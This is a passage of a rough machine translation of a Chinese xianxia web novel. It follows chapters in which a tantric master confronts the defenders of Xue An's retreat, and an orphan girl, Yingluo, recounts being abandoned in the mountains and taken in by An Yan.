    In Tantric Buddhism, it is divided into two realms, one is fetal storage and the other is vajra.


    Touliya is the top master in the fetal Tibetan world, and this Maitreya is a long-established tantric master.


    But under normal circumstances, Tantric disciples never go down the mountain, and they rarely appear in the heavens.


    Therefore, this time Maitreya Bodhisattva suddenly descended from the mountain and appeared in the heavens, so the moon was so shocked.


    At this moment, these people from Qingming Xianzong suddenly screamed.


    Then he listened to the Maitreya Bodhisattva''s younger brother incompetent with a smile.


    "I think all the donors are full of hostility, and they are obviously greedy and hateful! My Buddha is merciful, so why don''t you come to my place to meditate for a hundred years, so that you can get rid of the mortal womb and have a pure sermon. What do you think?"


    Although it sounds like he was asking for the opinions of Jin Yuebin and others, with his words, golden rays of light trapped Jin Yuebin and others like vines.


    Not only that, but these golden lights seem to have some inexplicable suction, constantly sucking everything around.


    As a result, the people of the Qingming Immortal Sect were extremely horrified to find that their cultivation base was madly dissipating.


    Especially this Sect Master Jin Yuebin, but in the blink of an eye, he fell from the cultivation base of Da Luo Peak to a true immortal, and then the golden immortal...


    This kind of high-level diving-like strength and blood collapse caused Jin Yuebin''s liver to break, and he roared in despair.


    "Do not����."


    But everything is too late.


    Wu Neng Sheng waved his hand, and a cloth bag draped on his shoulders suddenly flew out, turning into a golden pocket in the air, and then sucked at the people of the Azure Underworld Immortal Sect.


    boom!


    Including Jin Yuebin, everyone was sucked into this golden light pocket before they even had time to react.


    Then the pocket flew back to the hands of the incompetent, and the incompetent weighed it, and then satisfactorily put it on his shoulders again.


    At this point, all the members of the Azure Underworld Immortal Sect who had just flaunted their might have been wiped out.


    The whole process is astounding.


    But the incompetent monk smiled at Maitreya as if he had done a trivial thing.


    "Brother, do you think this is appropriate?"


    Maitreya nodded and turned to look at Yuesha.


    "Bhikkhu, don''t you know your dharma name?"


    Yue Sha took a deep breath and folded his palms together, "Chujiala Shoushan Temple, Dingchan Temple disciple Yue Sha, I have seen two great virtues!"


    "Zhou Jialuo?" Maitreya and his junior brother looked at each other incompetently, and then Maitreya said with a smile.


    "So you are a member of the Pure Land Buddha Kingdom, so why do you appear here and where do you want to go?"


    Yuecha laughed bitterly, but didn''t answer directly, just whispered: "I wanted to return to this monastery, but I was stopped by these people. Fortunately, I have to meet two people, otherwise I will be seriously injured if I am not dead today!"


    "Good, good, Bhikkhu is too polite. Although you and I have different sects, we are both Buddhas and we should help each other. And it happens that we also have to go to the Pure Land Buddha Kingdom. How about walking together?"


    After that, Maitreya smiled and looked at Yuecha, waiting for his answer.


    Yuesha was shocked.


    These two top esoteric masters actually want to go to the Pure Land Buddha Kingdom?


    What are they going to do?


    You must know that there has been little contact between Tantra and the Pure Land Buddha Kingdom.


    But soon, Yue Sha buried these questions deeply in his heart, and then nodded.


    "In that case, thank you two!"


    "Huh! What is this?" At this moment, the incompetent was quite curious and pointed to the rucksack on the side. The rucksack opens.


    But as soon as the lid was opened, Xiao Yingluo jumped out of it, then hugged Yuesha and started to cry.


    While crying, she choked and said, "Big...uncle, I...I''m so scared, don''t leave me, don''t abandon me, okay?"


    Yue Sha was taken aback for a moment, then his eyes became gentle, and he said softly: "Okay, am I okay? Don''t worry, I will not leave you, let alone abandon you!"


    Xiao Yingluo was still sobbing and crying.


    Yuesha looked at Maitreya in a little embarrassment, and wanted to explain.


    However, they saw that these two people were looking at Xiao Yingluo in his arms with different colors, their eyes flashed slightly, and they didn''t know what they were thinking.


    Yue Sha couldn''t help being a little startled, and then coughed slightly.


    "Brother Maitreya, what are you looking at?"

 Chapter 1959： What happens only by the heart, what changes only by consciousness!

    Maitreya shook slightly, and then came out of his thoughts sober, then smiled slightly, "It''s nothing, Junior Brother Yuesha, this little girl is..."


    Yuecha lowered her eyes and whispered: "I found her on the road, her name is Yingluo!"


    "Yingluo..." Maitreya repeated, and suddenly laughed, "Good name!"


    Incompetent can''t help but nodded, "It really is a good name!"


    The reaction of the two of them was so strange, but at the moment Yuecha was in a state of confusion, and he didn''t even notice it.


    "Since Junior Brother Yuesha is injured, it''s better for me to take you with you, so I can hurry, how about it?" Maitreya said.


    "If that''s the case, it''s time to work!"


    "You are polite, let''s go!" Maitreya waved his hand, ten thousand golden lights appeared out of thin air, and then wrapped the four of them, and when the light dissipated, the four of them had long since disappeared.


    now.


    In this core pure land, everyone is busy in an orderly manner.


    After a period of hard work, the Baimei Luohan has saved most of the sentient beings who have fallen into confusion.


    This also makes the temples in the sky that have been lonely and deserted for a hundred years to become lively again.


    Yue Jing led the disciples of Dingchan Temple to guard this pure land of Buddha.


    But no matter who it is, he looks reverent when looking at a certain place.


    An Yan looked at the golden light hole hidden in the thousand-layer lotus in the distance, her face was unhappy, but she was praying secretly in her heart.


    Husband, are you okay now?


    At this time, Xue An had been in retreat for more than a month.


    But this time of more than a month is so long for An Yan.


    Although she lived in Fubao''s Xiaolou for a long time, and she was together with Xue An a lot, but the feeling was completely different from now.


    When she was in the Fubao Xiaolou, she could communicate with Xue An anytime, anywhere.


    Because they have established an intimate spiritual connection with each other, it can be said that they are in harmony with each other, regardless of each other.


    But now, this kind of divine connection that has never been interrupted is completely disconnected.


    No matter how An Yan contacted, the opposite side was empty and there was no response.


    For the first time, An Yan felt the loneliness that penetrated into the bone marrow.


    This feeling can drive a person crazy.


    But Anyan didn''t show any abnormalities. It was time to eat, sleep, and smile when it was time to laugh.


    Only when she was alone, did her eyes show sadness and worry.


    Because she had never encountered such a situation before, no matter how desperate she was in the past, she could still feel Xue An''s existence anyway.


    Only this time, she couldn''t feel it.


    But she can''t collapse, because if she collapses first, what about the two little girls?


    The atmosphere just becomes subtle.


    The two little girls have become more sensible, and will accompany their mother as much as possible every day to make her happy.


    Today is no exception.


    But when the three of them were talking together.


    The sky in the distance was suddenly golden.


    The powerful fluctuations trembled the world with a radius of thousands of miles.


    Yue Jing, who was patrolling the other side of the Pure Land Buddha Kingdom, felt the strangeness for the first time, and immediately led everyone to gallop here.


    Arhat with white eyebrows immediately led the crowd over, and was waiting for him.


    at the same time.


    But seeing the golden light disperse, Maitreya took the lead to walk out of it, and smiled at everyone who was facing the enemy.


    "Venerable Baimei, long time no see!"


    When he saw Maitreya, the white-browed Arhat was taken aback, and then his mouth opened wide.


    "Mille?"


    "It''s the little monk." Maitreya said with a grin.


    At this moment, Yue Jing led everyone to arrive.


    But before he had time to speak, he saw Yuesha standing behind Maitreya at a glance, and his whole body was shocked.


    "Junior Brother?"


    Yuesha took a step forward and bowed to salute, "Brother, I''m back!"


    Yue Jing stared blankly, because he had never expected that Yuesha would come back at this time, and he would still appear with the Tantric people.


    When the atmosphere fell into a deadlock, Xiao Yingluo suddenly said with curiosity: "Uncle, what''s going on? Why do they shave their heads like you?"


    Her words eased the already tense atmosphere a little bit.


    Yue Ji took a deep look at Xiao Yingluo, then nodded slightly and said, "Anyway, it''s good to be back!"


    Having said that, Yue Ji put his palms together, and questioned Maitreya and Wu Neng Sheng.


    "Nan Wuwu Buddha, two tantric powers suddenly visited my pure land Buddha country, but they don''t know what happened?"


    "The Pure Land Buddha Kingdom? The Pure Land is still there, but the Buddha Kingdom doesn''t seem to exist anymore!" Maitreya said suddenly.


    As soon as this remark came out, the relaxed atmosphere became tense again.


    "Mitreya Bodhisattva, but I don''t know what you mean!" Yue Jing''s face sank and asked coldly.


    Maitreya smiled slightly, but did not respond to Yue Ji''s words. Instead, he raised his eyes to look at the wilderness full of lotus flowers in the distance, and said calmly: "The Blessed One has entered Nirvana, how long do you plan to keep it?"


    At this time, Yuecha''s face changed, and he blurted out: "What did you say?"


    He had just returned from outside, naturally he didn''t know what happened before the Pure Land Buddha Kingdom.


    Maitreya smiled, "Although I am in the womb Tibetan realm, I can still feel the disappearance of the Blessed One''s breath, so..."


    "I really want to know who is there to retreat!"


    With that said, Maitreya stepped out, incompetent victory followed closely, and the two came to this golden light hole one after another.


    "Stop them!" Yue Jing shouted in a deep voice.


    Zhongtong, who was already eager to try, rushed up immediately.


    The most grumpy descendant of Dingchan Temple had never believed in evil, so even though he knew that the other party was a great power of Tantric Buddhism, he still did not fear to intercept him.


    But as soon as his hand reached halfway, Maitreya drank a word.


    "Retreat!"


    Then the Monk Zhongtong flew out like he was hit by a giant elephant head on.


    "Brother!"


    Yuantong and others screamed and rushed upward.


    But without exception, they failed to stop Maitreya''s footsteps, but were shaken out together.


    However, although these people were shaken out, they were unharmed after they landed but they were still immobile for a while.


    The white-browed Lohan gave a deep cry, and his body flashed, blocking his way.


    Maitreya raised his eyebrows slightly, "Venerable Baimei, are you going to stop me too?"


    "Mille, this is not your fetal Tibetan realm, and it is not the palace of Dust, so please come back!"


    Maitreya smiled, "With my might, who of you can stop me!"


    After the words, Maitreya chanted: "What is revealed by the heart, only what is changed by consciousness!"


    Words fall.


    Including Yue Ji, everyone was shocked and was held in place by Mo Dawei.


    Maitreya walked slowly toward the entrance of the cave.


    But just halfway through, I heard a dragon chant from the sky, and then saw a five-clawed golden dragon hovering in the air, and finally raised the huge dragon head and said coldly toward Maitreya.


    "Monk, dare to take a half step forward, and be careful that my old lady turns your bald head off as a light bulb!"

 Chapter 1960： How about follow me?

    It was Xiaosha who stood in the way.


    She was waiting here by Anyan''s order, and naturally she would not allow Maitreya to pass.


    After seeing Xiaosha, the Maitreya Bodhisattva flashed brilliance in his eyes, and then folded his palms, exclaiming with joy.


    "Goodness, goodness, it is a new kind of dragon that has never been seen before, and it happens to be the protector of the heavenly dragon under my seat."


    With that said, Maitreya raised his head to look at Xiaosha, and said with a smile: "Dragon Race, are you willing to return to me?"


    Xiaosha''s dragon eyes gradually widened, and a cloud of white gas was sprayed from his nostrils, "Monk, don''t you want to be blind? You want me to return to you? Do you know who my master is? Stop talking nonsense. , Quit obediently, or I won��t be polite!"


    Maitreya''s smile remained undiminished, but rather said with interest: "Interesting, such a backbone and assertive dragon is rare for me! But since I want you to surrender to you, then you and disagree are the same result! "


    After all, Maitreya stepped forward.


    Xiao Sha was already a little impatient, so after seeing Maitreya actually dared to move, he couldn''t help but circled, and then sprayed a dragon''s breath toward Maitreya.


    Since the training in the Dragon Sacred Land, Xiaosha''s body has been fused with the blood of several dragons, such as the Devil Dragon Jiaolong, so this dragon breath is very powerful.


    But Maitreya didn''t even lift his eyelids, just waved his hand, and a huge palm appeared in the air, and then he shook it.


    This dragon''s breath was pinched into nothingness by his palm.


    But this was far from over, and then the giant palm fell towards Xiao Shadou, covering his face.


    A huge power came suddenly, but Xiao Sha didn''t have the slightest fear, but instead roared and rushed straight up.


    Seeing this scene, the color of appreciation in Maitreya''s eyes couldn''t help but grow stronger, but the castration of his palms remained unabated.


    So soon, Xiao Sha collided with this giant palm in mid-air.


    boom!


    After a loud noise.


    Xiaosha''s body sank suddenly, obviously under tremendous pressure.


    The pressure was so great that the dragon scales all over her were spreading apart, and the sound of squeaking bones bursting from within her body.


    Even so, Xiao Sha still did not flinch at all, but instead let out an extremely angry dragon chant.


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh you are you are, give me away


    With that said, Xiao Sha rose up with all his strength to resist the giant palm, and then slowly lifted up.


    A look of solemnity appeared on Maitreya''s face.


    Because he had never expected Xiao Sha to be so brave and strong, and even able to shake his handprints.


    This kind of spiritual will is simply terrifyingly strong.


    But that''s it all.


    Maitreya sighed slightly, and his palm pressed down suddenly.


    Xiaosha no longer has the power to resist, and she was forced down by a hundred feet.


    But at this moment, I only heard a shout, "Master Xiaosha, I''ll help you!"


    As he said, an octopus rose into the sky, flew to the front with its tentacles, and then quickly bound the giant palm.


    The person who came was naturally Zhang Xiaoyu. She tried her best, all her tentacles were tight, trying to lift the giant palm to give Xiaosha some breathing space.


    But with her strength, how could it be possible to shake the power of the big mudra.


    Just a few breaths.


    Xiaosha and Zhang Xiaoyu screamed together, and then they were pressed from the sky to the ground.


    The moment the giant palm fell, it turned into a chain, tying the two together.


    Even if Xiao Sha struggled, she still couldn''t shake the chain.


    This shows how strong this Maitreya Bodhisattva is.


    At this moment, Xiao Sha''s eyes were about to split, staring at Maitreya, and roaring: "Let go of me, you bald donkey!"


    Maitreya was not angry, but smiled slightly, "Don''t be nervous, I won''t hurt you, but you have to lie here for a while!"


    With that, Maitreya stepped forward.


    Seeing this scene, Xiao Sha was shocked, his eyes spit fire, and the dragon''s blood boiled all over his body, actually trying to burn himself to break the shackles.


    But at this moment, the incompetent who had passed in front of her suddenly reached out and patted her shoulder.


    "Little girl, don''t be too impulsive in doing things!"


    These two slaps seemed to be an understatement, but they easily dissipated the blood that Xiaosha had finally condensed, and even the whole body was instantly stiff and could no longer move.


    "Let��s take a break, what do you think?"


    Incompetence said with a smile, then got up and left.


    at the same time.


    Maitreya also stopped, because in front of him stood a stunningly beautiful woman.


    The woman was holding a weapon with a weird shape that looked like a pot, and she looked at him sinkingly.


    It is An Yan.


    An Yan has seen everything that just happened.


    Including Yue Jing, all people from the Pure Land Buddha Kingdom could not stop this Maitreya Bodhisattva.


    Even Xiao Sha was easily defeated, which shows his greatness.


    But An Yan didn''t back down at all. Instead, he stopped the way with a calm expression and said lightly: "This way is nowhere, please go back, monk!"


    When he saw An Yan, Maitreya looked surprised, but Xuan even stepped back half a step, folded his palms together, and said without squinting: "Female donor, please leave the way."


    "Get out?" An Yan sneered, "Okay, then step on my body!"


    Following the voice, the two little girls, Miss and Nian, also poked their heads from behind An Yan.


    "Yes, my dad is in retreat, no one is allowed to come close, dare to come forward, be careful we beat you!" Niannian said with a small fist.


    Thinking about it is much more calm, a pair of big eyes wandering around, looking for the flaws in Maitreya.


    After seeing the thoughts and the thoughts, Maitreya was shocked and shocked.


    But soon he exclaimed with infinite joy, "Goodness, goodness, there is such a deep Buddha relationship among the heavens, it is really amazing!"


    Speaking Maitreya smiled and nodded thinking and thinking, "Two small donors, how old are you?"


    "Hmph, we won''t tell you! You are a big badass!" Niannian snorted coldly.


    Maitreya was not angry, but raised his head to look at An Yan, "Female donor, are these two daughters?"


    "So what?"


    "Goodness is good. I think that the two golden bodies have roots of wisdom. Obviously they are bound to my Buddha. It is better to let them practice with me. What do you think?"


    "Of course not!" An Yan shook his head resolutely.


    The two little girls screamed in anger.


    "Who wants to practice with you, a bad guy?"


    "I don''t want to shave my head!"


    Hearing An Yan''s refusal and the noise of the two little girls, Maitreya still did not give up.


    "I guarantee that if the two daughters follow my practice, they will definitely achieve something!"

 Chapter 1961： OK, Ill wait for you to exit

    A sneer appeared at the corner of An Yan''s mouth, and then slowly raised the pan in his hand and pointed at Maitreya on the opposite side.


    "Stop talking nonsense, my daughter will never be a monk, let''s do it!"


    When Maitreya saw this, he couldn''t help but sighed, "What a pity!"


    Then he stepped forward.


    An Yan raised his hand, the pan shook slightly, and a huge thunder blasted towards Maitreya.


    But just halfway through, Lei disappeared silently.


    That''s right.


    It was as if someone had erased the second half with an eraser, and there was not even a sign or a wave of waves, and this huge thunder disappeared.


    An Yan gritted his teeth and waved the pan in his hand again and again, blasting at Maitreya as if he didn''t need money.


    But Maitreya did not stop for half a minute. He just whispered: "Female donor, please give up. I am out of the body of the five elements. These tricks will not work for me!"


    Of course An Yan would not give up, but Maitreya''s power was like a mountain, and she couldn''t breathe.


    At this moment, just think about it and say coldly: "Niannian, the pocket on the shoulder of the man behind!"


    Nian Nian immediately responded: "Okay!"


    As he said, Xue Nian raised his hand and pointed to the cloth pocket on his incompetent shoulder.


    "broken!"


    boom!


    With an order, the Qi machine of heaven and earth vibrated, and even certain causes and effects changed accordingly.


    Under the action of this kind of power, the cloth bag quickly faded and became obsolete, and there were faint cracks.


    At this time, Maitreya''s complexion became pale, but his eyes were filled with infinite surprises and admiration, "Good, good, good, is this just saying the law?"


    With that said, he took another step forward.


    With one step, the earth quaked.


    An Yan and the two little girls stepped back at the same time.


    "Mother!" Xiaosha hissed with bloodshot eyes.


    Although being shaken and retreated far away, An Yan and the two little girls did not suffer the slightest harm.


    at the same time.


    Maitreya and Wu Neng Sheng continued to move forward.


    An Yan snorted and rushed up again.


    But as soon as she was halfway there, she was incompetent and smiled at her slightly, "Female donor, you are too impatient, so let''s take a break!"


    Having said that, incompetence slapped a palm.


    Juli came crashing down, and he wanted to tie An Yan.


    But at the moment when this power is about to reach An Yan.


    Just under Anyan''s feet, a lotus flower suddenly grew and then bloomed, protecting Anyan in it.


    Not only her, but Miss Nian and Xiaosha Zhang Xiaoyu and others are the same.


    As soon as the lotus flower opened, the power that Maitreya had exerted on everyone instantly collapsed.


    Xiaosha leaped up from the ground, and the blood-red eyes were looking for Maitreya desperately.


    But at this time, Maitreya''s face became extremely solemn, and then he looked at the golden light twinkling hole in the distance with awe, and walked forward without saying a word.


    Incompetence followed closely, and the two came to the golden light hole in the blink of an eye.


    at the same time.


    The golden light above the cave suddenly burst, and then condensed into the appearance of a blossoming lotus, blocking everything from the outside world.


    Even Xiaosha was no exception. She was shocked from the air and looked far away with amazement.


    But seeing Maitreya raised his head and looked at the lotus sky with bright eyes, he suddenly chuckled.


    "Okay! Then I''ll be waiting for you here for a while, until you exit!"


    Having said that, Maitreya and Wu Neng Sheng sat down, then slowly closed their eyes, and actually closed their eyes and meditated like this.


    This scene stunned everyone.


    People never expected such a turning point.


    The tantric master, who had been aggressive and seemed to be coming for trouble, suddenly stopped and began to meditate cross-legged, as if waiting for Xue An to leave.


    This is too incredible.


    At this moment, countless golden lights emerged from the bodies of Maitreya and Wu Neng Sheng, and they finally merged with the golden light at the entrance of the cave, thus covering their bodies and disappearing.


    People stared blankly.


    After a long time, Yue Ji whispered softly: "What are they going to do? Do they protect the Fa?"


    This sudden wave was so temporarily subdued.


    Although everyone''s hearts were full of doubts, they could only suppress it first, and wait patiently for Xue An to leave.


    It''s okay for others to say that Xiaosha alone is almost furious.


    Especially the matter just now was regarded as a great shame by her, and she swore to find the place back.


    And just when she went crazy.


    Xiao Yingluo approached curiously, "Are you...Are you a dragon?"


    "You are deaf, and your whole family is deaf!" Xiao Sha, who was gnashing his teeth and cursing that the two monks were unrequited, didn''t even turn his head when he heard the words.


    Xiao Yingluo took a step backwards violently, and then squeezed her mouth a little bit aggrievedly, "Why are you so awesome! I just asked curiously!"


    Only then did Xiao Sha understand what she meant, and when she turned her head to see that she was a little Lolita who was about the same size as her, she was startled, and then scratched her head in embarrassment.


    "Uh..., you are right, I am a dragon!"


    Yingluo giggled, then looked at Octopus curiously.


    "What about you? Why did you grow so many tentacles just now?"


    Zhang Xiaoyu''s face is much thicker than Xiaosha, he smiled when he heard the words, and then shook his whole body, and the tentacles appeared.


    "How is it? Great!"


    Xiao Yingluo''s face was amazed, and she kept applauding: "Awesome."


    Zhang Xiaoyu couldn''t help becoming more proud.


    But Yingluo''s next sentence wiped out all his pride.


    I saw Yingluo say: "I didn''t expect seafood to be refined!"


    "You only have seafood, and your whole family has seafood!" Zhang Xiaoyu usually resists the most when he hears others say that he is seafood, so he unceremoniously replied.


    Yingluo laughed happily, "Are you kidding me, so serious?"


    Then she looked at the thoughts and misses on the side. After a moment, the three little girls nodded to each other and said in unison: "Hello!"


    Then the three of them smiled together.


    It is said that children are not separated.


    So the three little girls quickly got together to chat and play This scene also made the very solemn atmosphere just now much easier.


    Although An Yan was defeated twice by Maitreya and others, she was in a very good mood now.


    Because she felt Xue An''s breath from the lotus flower.


    Although it is very weak, it at least proves that he has been there all the time.


    So when she saw her two daughters having fun with Yingluo, she couldn''t help but smile.


    But there were people in the court who were not so happy.


    Such as this Yue Jing.


    His face was as cold as frost, staring at Yingluo''s back. After a long time, he narrowed his gaze and said lightly, "Is she the one you will find at all costs, even if your Zen heart is broken?"


    Yuecha on the side looked like water and nodded, "Yes!"

 Chapter 1962： That winter...it was so cold

    Yue Ji remained silent for a long time, before finally sighing faintly, "Is it worth it?"


    Yue Sha glanced at his senior, and then chuckled lightly: "Brother, this is not like what you said. Don''t you always hold the view that nothing can cause dust in the first place? How can it be like this this time? "


    Yue Ji glared, "Nonsense, you are my real brother, of course I have to worry for you!"


    Yue Sha faintly smiled, then raised her eyes to look at Xiao Yingluo who was playing with Miss Miss in the distance, her eyes gradually becoming deeper.


    "It doesn''t matter that it is worthless. From the moment I made this decision and put it into action, I had thought about all the consequences and was willing to bear it."


    Seeing the indifferent expression on his junior brother''s face, Yue Ji stopped talking, finally let out a light sigh.


    "Then you know that with your talent, if you are brave and diligent in the Zen mind without falling, you can definitely prove that the Tao is virtuous, and even the Dharma cloud will be hopeful, but you have ruined your future for a period of love in the past , I really feel sorry for you!"


    Yue Sha smiled, "If I remember correctly, this should be the first time you praised me, brother, when you used to practice under Master, you called me stupid all day long."


    Yue Ji also smiled, with a touch of nostalgia in her smile.


    "Yes, you were really stupid to die at the beginning. You have to memorize a very simple Buddhist scripture for a long time. Even the master thought you had limited accomplishments, but you didn��t expect that you suddenly became aware of it. Advance by leaps and bounds, and eventually become the one who inherits Master��s mantle."


    Yuecha laughed, "Actually, it was not that I couldn''t memorize it back then. I just thought it was too boring and boring to memorize these scriptures!"


    "What happened later?"


    "Later I discovered that through continuous practice I can actually see a lot of things from my previous life, so I started to practice with my heart!"


    Yue Jing suddenly stopped talking.


    Because the meaning in his brother''s words is very obvious, when he first started practicing Dharma, he rushed to unlock the spiritual wisdom of the previous life.


    This couldn''t help but make him speechless, and it was not until a long time later that he smiled bitterly, "Then what are you going to do next? Just take this little girl by your side?"


    Yue Sha shook his head, and a deep tired look suddenly appeared in his eyes, "I haven''t thought about it yet, but one thing is certain."


    With that, a smile appeared on Yue Sha''s face, "I have to wait for Xue An to leave the customs and see this old friend who hasn''t seen him for many years, and then talk about other things!"


    Hearing this, Yue Ji''s attention could not help being drawn to the golden light in the distance.


    "Yes! I don''t know when the leader will be able to leave the customs!"


    "It shouldn''t be long, I can feel that in the golden light, his aura is strengthening a little!" Yue Sha said lightly.


    "hope so!"


    The storm subsided temporarily, everything returned to calm, and ten more days passed quickly.


    During these ten days, everyone''s hearts became less peaceful.


    Because even the dullest person can feel that a breath of golden light is gestating.


    This breath is so powerful, even just a very weak point, it is still vast like a sea of ??stars, which makes people want to worship.


    In this case, thinking and thinking are very happy because they have met a new friend.


    Compared to Zhang Xiaoyu''s stupid cuteness and Xiaosha''s domineering, this little Yingluo is the two little girls'' favorite playmates.


    And because of Xiao Yingluo''s special background, he has never had real friends or playmates, so the three of them hit it off right away, sticking to each other every day, and having fun playing together.


    Today is no exception,


    The three of them played for a long time, and only after they got tired did they get together and whispered about the secrets between the little girls.


    Suddenly, Nian-nian asked curiously: "Yingluo, who is your Master Yuesha?"


    Yingluo smiled, "Is he my uncle?"


    "Uncle? Is it that simple?" Thinking about it, he obviously didn''t believe it.


    "if not?"


    "Hehe, I thought you were his child bride-in-law!"


    "Okay, you dare to make fun of me, look at it!"


    Yingluo stretched out her hand and itchy.


    Thinking about it, I couldn''t stand it at all. After a few rounds, I lost the battle and started begging for mercy with a breathless smile.


    "Good Yingluo, I was wrong, I was wrong, I will never say it again!"


    "Huh, this is almost the same!" Yingluo let go of her hand contentedly.


    Think about it after lying on the ground for a while before sitting up and asking curiously: "Then how did you two meet?"


    "Hey, this is a long story." Yingluo sat on the ground carelessly, "If you can summarize it in one sentence, then I was picked up by the uncle."


    "Pick it up? Are you an abandoned baby?" Nian Nian said nervously.


    This sentence is perfect for Yingluo.


    Yingluo couldn''t help but stretched out her hand to pinch Niannian''s face, "Silly Niannian, don''t talk nonsense, how can I be an abandoned baby? I was five years old, okay."


    Niannian nodded thoughtfully, and then added, "Is that a five-year-old abandoned baby?"


    Wreaths:"����."


    "Can we not talk about the topic of abandoned babies?"


    "it is good!"


    "I should be four years old at the time. Because of some things I didn''t understand, I was regarded as an ominous person by my family, and then I was thrown into the mountains."


    Speaking of this, Ying Luo''s face showed a touch of sadness.


    The two little girls closed their mouths tightly and looked at her distressedly.


    But soon, Yingluo recovered and said in a relaxed tone: "Hey, at the time they thought I would definitely die in the mountains, but they never expected that I would survive and live well!"


    With that said, Yingluo said with a smug look: "Have you tasted the autumn wild pear?"


    The two little girls shook their heads together.


    "I''ve tasted it, tusk, it tastes... it''s sweet and juicy, it can''t be too delicious! There are also black honey, yellow jingguo, and even I have found one that was hit and killed by a stone because I couldn''t see the road. The stupid goat on www.novelhall.com~ The goat is so big, I can��t move it by myself, but I��m so smart, I cut off the meat a little bit with a small stone and eaten with honey! I ate a whole leg of lamb by myself at the time, it''s amazing!"


    Yingluo said with a smile.


    The two little girls were already silly, they could only nodded subconsciously.


    But at this time Yingluo turned her head to the side, not wanting the two little girls to see the tears in her eyes.


    "Later the weather gradually became cold, and the mountain was blocked by heavy snow overnight. I can only hide in a cave and I can''t go anywhere!"


    "That winter... it was so cold!"


    Yingluo''s body began to tremble slightly, "I didn''t dare to sleep, because I was afraid that I would never wake up after falling asleep, so I started telling stories to myself. The scarier the story, the better, so that I would be scared forever. Stay awake, hahahaha am I a genius?"


    Amidst the laughter, Yingluo did not look back, because she had already burst into tears at this time.

 Chapter 1963： Exit

    The two little girls were silent.


    They had never thought that Yingluo, who looked sunny and bright on the surface and a little money addict, had such a past.


    Even they had a miserable childhood. At that time, An Yan disappeared and Xue An did not return. They lived with Tang Xuan''er.


    In order to support the two little girls, Tang Xuan''er worked overtime every day to earn money from morning and evening, without much time to take care of them.


    Therefore, the two little girls learned to take care of themselves early, and even went to the streets to sell flowers on Valentine''s Day ingenuity to supplement their families. (It''s the first chapter! Laugh)


    But unlike Ying Luo, she was abandoned by her family in the mountains.


    This is terrible thinking about it.


    "Then... later?" Think about it in a low voice.


    "Later..." Yingluo wiped away her tears, turned her head and smiled at the two little girls: "Later, the uncle arrived, and he rescued me from the mountains, who was about to freeze to death, and then.... "


    Yingluo''s eyes showed a dazzling brilliance.


    "Then he hugged me in his arms and took me to my previous home."


    "It was snowing that day, but I was not cold at all, because the arms of the uncle were so warm, I was even thinking that if I die like this, at least it is better than freezing to death."


    "But I didn''t die, not only did I not die, but I saw many people die in front of me, including my uncle, aunt, and cousin... and my parents!"


    Speaking of this, Ying Luo suddenly giggled, ��You can��t imagine that these so-called relatives and parents who have abused me in all manners since I was born and abandoned me in the mountains saw me before dying. At that time, how wonderful the expression on that face was."


    "I still remember how beautiful the blood splashed from them is, as beautiful as the fire in that snowy night."


    Yingluo''s eyes were obsessed, and she whispered softly: "In front of the rising flame, the uncle said to me, he wants to take me away and asks if I want to."


    "What then? Did you agree?" Nian Nian asked stupidly.


    Think about the dumbfounding knocking Nian Nian''s head, and said angrily: "Yingluo is right in front of us now, did you say she agreed?"


    "Oh too, why didn''t I think of this just now, hehe!" Niannian rubbed her head and smiled embarrassedly.


    At this time, the haze in Yingluo''s eyes also disappeared, and she smiled and said: "Then what about you? Who is the person who is retreating inside?"


    "It''s my dad! My dad is amazing! Mom said he is the strongest among the heavens, and many bad guys are afraid of him!" Niannian said excitedly, waving her small fist.


    "Is that amazing?"


    "Of course, you can ask your uncle if you don''t believe me."


    At this moment, An Yan came over with a plate of snacks and smiled.


    "What do you three say? Have a good chat."


    When she came, Yingluo hurriedly got up from the ground, looked at An Yan with some helplessness, and then lowered her head and stopped talking.


    Niannian said excitedly: "We are talking about Dad! Mom, you tell Sister Yingluo, is Dad the most powerful person in the heavens?"


    An Yan smiled and nodded, "Yes, yes, your father is the most powerful person in the heavens, let''s do it!"


    With that said, An Yan handed the tray to Yingluo, "Yingluo, come! Try the snack made by Auntie."


    Yingluo''s face flushed to the base of her ears, and her whole body trembled slightly.


    An Yan didn''t notice her abnormality, but thought the little girl was a little shy, so she picked up a snack and stuffed it into Yingluo''s hand.


    Ying Luo shocked all over, then raised her head to look at An Yan.


    "Silly girl, what am I doing? Eat!" An Yan said with a smile.


    Tears gradually appeared in Yingluo''s eyes, and then she took a bite of snack and chewed slowly.


    "Is it delicious?" An Yan asked with a smile.


    Yingluo nodded, suddenly walked a few steps forward, got close to An Yan, and said in a very low voice: "Auntie Yan, can I secretly call you mother?"


    An Yan was taken aback.


    Yingluo raised her head and looked at her pleadingly, and stretched out a finger, "Just a little voice, okay?"


    Seeing the little girl''s almost humble expression, An Yan felt that a needle somewhere deep in her heart was stabbed.


    Then she took a deep breath and knelt down to look at Ying Luo tenderly.


    "Why do you call me mother?"


    Yingluo lowered her head and said sadly: "Because I don''t have a mother anymore... and the smell on you is very kind and very special to me, so I want to call your mother."


    As she said, she looked at An Yan cautiously, "Can you?"


    An Yan looked at this little girl distressedly.


    In the past few days, she would often comb her hair and make some snacks.


    But this kind of trivial matter that is not worth mentioning in her opinion is so important in this little girl''s mind.


    She couldn''t help but stretched out her hand to gently stroke Yingluo''s hair, and smiled softly: "Okay! You can call me mother anytime and anywhere as long as you want, and I will treat you as my daughter. Okay?"


    Yingluo''s eyes burst into tears, and she nodded vigorously with tears of joy, "Well, mother!"


    She yelled this mother very loudly.


    The two little girls couldn''t help but leaned over and cheered when they heard An Yan''s words.


    "Hehe, I have another sister!" Nian Nian smiled.


    Thinking about it, she patted Yingluo on the shoulder and said very solemnly: "I don''t care if you miss me, but you have to call me sister!"


    "Why, you were only born six minutes earlier than Nian-nian, I am older than you in terms of age!"


    "Six minutes early is also early, anyway, I am used to being a sister, you just have to call me sister!"


    The three little girls started arguing about who should be the sister and who was the sister.


    An Yan stood up with a smile, and brushed her ears.


    At this moment, Yue Sha appeared not far away, glanced at Xiao Yingluo with a smile on his face, and couldn''t help but bow to An Yan.


    "Sister-in-law, thank you very much."


    Although Yue Sha is a Buddhist monk, as long as he sees An Yan, he will call An Yan a sister-in-law.


    An Yan smiled, UU reading www. uukanshu.com "It''s nothing, I also like this little girl, but..."


    An Yan suddenly hesitated and said: "I will accept her as a daughter, your seniority..."


    An Yan naturally knew about the entanglement between Yue Sha and this Xiao Yingluo.


    Yue Sha smiled and waved his hand, "Don''t worry about that much, as long as she is good."


    An Yan nodded, just about to speak.


